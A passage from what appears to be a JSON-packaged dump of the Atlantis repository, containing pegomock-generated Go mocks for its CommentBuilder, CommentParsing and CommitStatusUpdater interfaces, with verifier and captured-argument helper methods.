[]reflect.Type{reflect.TypeOf((*string)(nil)).Elem()})\n\tvar _ret0 string\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockCommentBuilder) BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) string {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommentBuilder().\")\n\t}\n\t_params := []pegomock.Param{repoRelDir, workspace, project}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildApprovePoliciesComment\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()})\n\tvar _ret0 string\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockCommentBuilder) BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) string {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommentBuilder().\")\n\t}\n\t_params := []pegomock.Param{repoRelDir, workspace, project, commentArgs}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"BuildPlanComment\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem()})\n\tvar _ret0 string\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockCommentBuilder) VerifyWasCalledOnce() *VerifierMockCommentBuilder {\n\treturn &VerifierMockCommentBuilder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockCommentBuilder) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommentBuilder {\n\treturn &VerifierMockCommentBuilder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockCommentBuilder) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommentBuilder {\n\treturn &VerifierMockCommentBuilder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockCommentBuilder) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommentBuilder {\n\treturn &VerifierMockCommentBuilder{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockCommentBuilder struct {\n\tmock                   *MockCommentBuilder\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockCommentBuilder) BuildApplyComment(repoRelDir string, workspace string, project string, autoMergeDisabled bool, autoMergeMethod string) *MockCommentBuilder_BuildApplyComment_OngoingVerification {\n\t_params := []pegomock.Param{repoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildApplyComment\", _params, verifier.timeout)\n\treturn &MockCommentBuilder_BuildApplyComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommentBuilder_BuildApplyComment_OngoingVerification struct {\n\tmock              *MockCommentBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommentBuilder_BuildApplyComment_OngoingVerification) GetCapturedArguments() (string, string, string, bool, string) {\n\trepoRelDir, workspace, project, autoMergeDisabled, autoMergeMethod := c.GetAllCapturedArguments()\n\treturn repoRelDir[len(repoRelDir)-1], workspace[len(workspace)-1], project[len(project)-1], autoMergeDisabled[len(autoMergeDisabled)-1], autoMergeMethod[len(autoMergeMethod)-1]\n}\n\nfunc (c *MockCommentBuilder_BuildApplyComment_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string, _param3 []bool, _param4 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]bool, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(bool)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCommentBuilder) BuildApprovePoliciesComment(repoRelDir string, workspace string, project string) *MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification {\n\t_params := []pegomock.Param{repoRelDir, workspace, project}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildApprovePoliciesComment\", _params, verifier.timeout)\n\treturn &MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification struct {\n\tmock              *MockCommentBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification) GetCapturedArguments() (string, string, string) {\n\trepoRelDir, workspace, project := c.GetAllCapturedArguments()\n\treturn repoRelDir[len(repoRelDir)-1], workspace[len(workspace)-1], project[len(project)-1]\n}\n\nfunc (c *MockCommentBuilder_BuildApprovePoliciesComment_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCommentBuilder) BuildPlanComment(repoRelDir string, workspace string, project string, commentArgs []string) *MockCommentBuilder_BuildPlanComment_OngoingVerification {\n\t_params := []pegomock.Param{repoRelDir, workspace, project, commentArgs}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"BuildPlanComment\", _params, verifier.timeout)\n\treturn &MockCommentBuilder_BuildPlanComment_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommentBuilder_BuildPlanComment_OngoingVerification struct {\n\tmock              *MockCommentBuilder\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommentBuilder_BuildPlanComment_OngoingVerification) GetCapturedArguments() (string, string, string, []string) {\n\trepoRelDir, workspace, project, commentArgs := c.GetAllCapturedArguments()\n\treturn repoRelDir[len(repoRelDir)-1], workspace[len(workspace)-1], project[len(project)-1], commentArgs[len(commentArgs)-1]\n}\n\nfunc (c *MockCommentBuilder_BuildPlanComment_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []string, _param2 []string, _param3 [][]string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([][]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.([]string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_comment_parsing.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: CommentParsing)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tevents \"github.com/runatlantis/atlantis/server/events\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockCommentParsing struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockCommentParsing(options ...pegomock.Option) *MockCommentParsing {\n\tmock := &MockCommentParsing{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockCommentParsing) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockCommentParsing) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockCommentParsing) Parse(comment string, vcsHost models.VCSHostType) events.CommentParseResult {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommentParsing().\")\n\t}\n\t_params := []pegomock.Param{comment, vcsHost}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Parse\", _params, []reflect.Type{reflect.TypeOf((*events.CommentParseResult)(nil)).Elem()})\n\tvar _ret0 events.CommentParseResult\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(events.CommentParseResult)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockCommentParsing) VerifyWasCalledOnce() *VerifierMockCommentParsing {\n\treturn &VerifierMockCommentParsing{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockCommentParsing) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommentParsing {\n\treturn &VerifierMockCommentParsing{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockCommentParsing) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommentParsing {\n\treturn &VerifierMockCommentParsing{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockCommentParsing) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommentParsing {\n\treturn &VerifierMockCommentParsing{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockCommentParsing struct {\n\tmock                   *MockCommentParsing\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockCommentParsing) Parse(comment string, vcsHost models.VCSHostType) *MockCommentParsing_Parse_OngoingVerification {\n\t_params := []pegomock.Param{comment, vcsHost}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Parse\", _params, verifier.timeout)\n\treturn &MockCommentParsing_Parse_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommentParsing_Parse_OngoingVerification struct {\n\tmock              *MockCommentParsing\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommentParsing_Parse_OngoingVerification) GetCapturedArguments() (string, models.VCSHostType) {\n\tcomment, vcsHost := c.GetAllCapturedArguments()\n\treturn comment[len(comment)-1], vcsHost[len(vcsHost)-1]\n}\n\nfunc (c *MockCommentParsing_Parse_OngoingVerification) GetAllCapturedArguments() (_param0 []string, _param1 []models.VCSHostType) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.VCSHostType, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.VCSHostType)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/mocks/mock_commit_status_updater.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: CommitStatusUpdater)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockCommitStatusUpdater struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockCommitStatusUpdater(options ...pegomock.Option) *MockCommitStatusUpdater {\n\tmock := &MockCommitStatusUpdater{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockCommitStatusUpdater) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockCommitStatusUpdater) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockCommitStatusUpdater) UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommitStatusUpdater().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pull, status, cmdName}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"UpdateCombined\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockCommitStatusUpdater) UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommitStatusUpdater().\")\n\t}\n\t_params := []pegomock.Param{logger, repo, pull, status, cmdName, numSuccess, numTotal}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"UpdateCombinedCount\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockCommitStatusUpdater) UpdatePostWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommitStatusUpdater().\")\n\t}\n\t_params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"UpdatePostWorkflowHook\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockCommitStatusUpdater) UpdatePreWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockCommitStatusUpdater().\")\n\t}\n\t_params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"UpdatePreWorkflowHook\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockCommitStatusUpdater) VerifyWasCalledOnce() *VerifierMockCommitStatusUpdater {\n\treturn &VerifierMockCommitStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockCommitStatusUpdater) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockCommitStatusUpdater {\n\treturn &VerifierMockCommitStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockCommitStatusUpdater) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockCommitStatusUpdater {\n\treturn &VerifierMockCommitStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockCommitStatusUpdater) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockCommitStatusUpdater {\n\treturn &VerifierMockCommitStatusUpdater{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockCommitStatusUpdater struct {\n\tmock                   *MockCommitStatusUpdater\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockCommitStatusUpdater) UpdateCombined(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name) *MockCommitStatusUpdater_UpdateCombined_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pull, status, cmdName}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"UpdateCombined\", _params, verifier.timeout)\n\treturn &MockCommitStatusUpdater_UpdateCombined_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommitStatusUpdater_UpdateCombined_OngoingVerification struct {\n\tmock              *MockCommitStatusUpdater\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommitStatusUpdater_UpdateCombined_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, models.CommitStatus, command.Name) {\n\tlogger, repo, pull, status, cmdName := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], status[len(status)-1], cmdName[len(cmdName)-1]\n}\n\nfunc (c *MockCommitStatusUpdater_UpdateCombined_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.CommitStatus, _param4 []command.Name) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]models.CommitStatus, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(models.CommitStatus)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]command.Name, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(command.Name)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCommitStatusUpdater) UpdateCombinedCount(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, status models.CommitStatus, cmdName command.Name, numSuccess int, numTotal int) *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification {\n\t_params := []pegomock.Param{logger, repo, pull, status, cmdName, numSuccess, numTotal}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"UpdateCombinedCount\", _params, verifier.timeout)\n\treturn &MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification struct {\n\tmock              *MockCommitStatusUpdater\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.Repo, models.PullRequest, models.CommitStatus, command.Name, int, int) {\n\tlogger, repo, pull, status, cmdName, numSuccess, numTotal := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], repo[len(repo)-1], pull[len(pull)-1], status[len(status)-1], cmdName[len(cmdName)-1], numSuccess[len(numSuccess)-1], numTotal[len(numTotal)-1]\n}\n\nfunc (c *MockCommitStatusUpdater_UpdateCombinedCount_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.Repo, _param2 []models.PullRequest, _param3 []models.CommitStatus, _param4 []command.Name, _param5 []int, _param6 []int) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.Repo, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.Repo)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]models.CommitStatus, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(models.CommitStatus)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]command.Name, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(command.Name)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(int)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 6 {\n\t\t\t_param6 = make([]int, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[6] {\n\t\t\t\t_param6[u] = param.(int)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCommitStatusUpdater) UpdatePostWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) *MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification {\n\t_params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"UpdatePostWorkflowHook\", _params, verifier.timeout)\n\treturn &MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification struct {\n\tmock              *MockCommitStatusUpdater\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.CommitStatus, string, string, string) {\n\tlogger, pull, status, hookDescription, runtimeDescription, url := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], pull[len(pull)-1], status[len(status)-1], hookDescription[len(hookDescription)-1], runtimeDescription[len(runtimeDescription)-1], url[len(url)-1]\n}\n\nfunc (c *MockCommitStatusUpdater_UpdatePostWorkflowHook_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest, _param2 []models.CommitStatus, _param3 []string, _param4 []string, _param5 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]models.CommitStatus, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(models.CommitStatus)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n\nfunc (verifier *VerifierMockCommitStatusUpdater) UpdatePreWorkflowHook(logger logging.SimpleLogging, pull models.PullRequest, status models.CommitStatus, hookDescription string, runtimeDescription string, url string) *MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification {\n\t_params := []pegomock.Param{logger, pull, status, hookDescription, runtimeDescription, url}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"UpdatePreWorkflowHook\", _params, verifier.timeout)\n\treturn &MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification struct {\n\tmock              *MockCommitStatusUpdater\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockCommitStatusUpdater_UpdatePreWorkflowHook_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest, models.CommitStatus, string, string, string) {\n\tlogger, pull, status, hookDescription, runtimeDescription, url := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], pull[len(pull)-1], status[len(status)-1], hookDescription[len(hookDescription)-1], runtimeDescription[len(runtimeDescription)-1], url[len(url)-1]\n}\n\nfunc (c 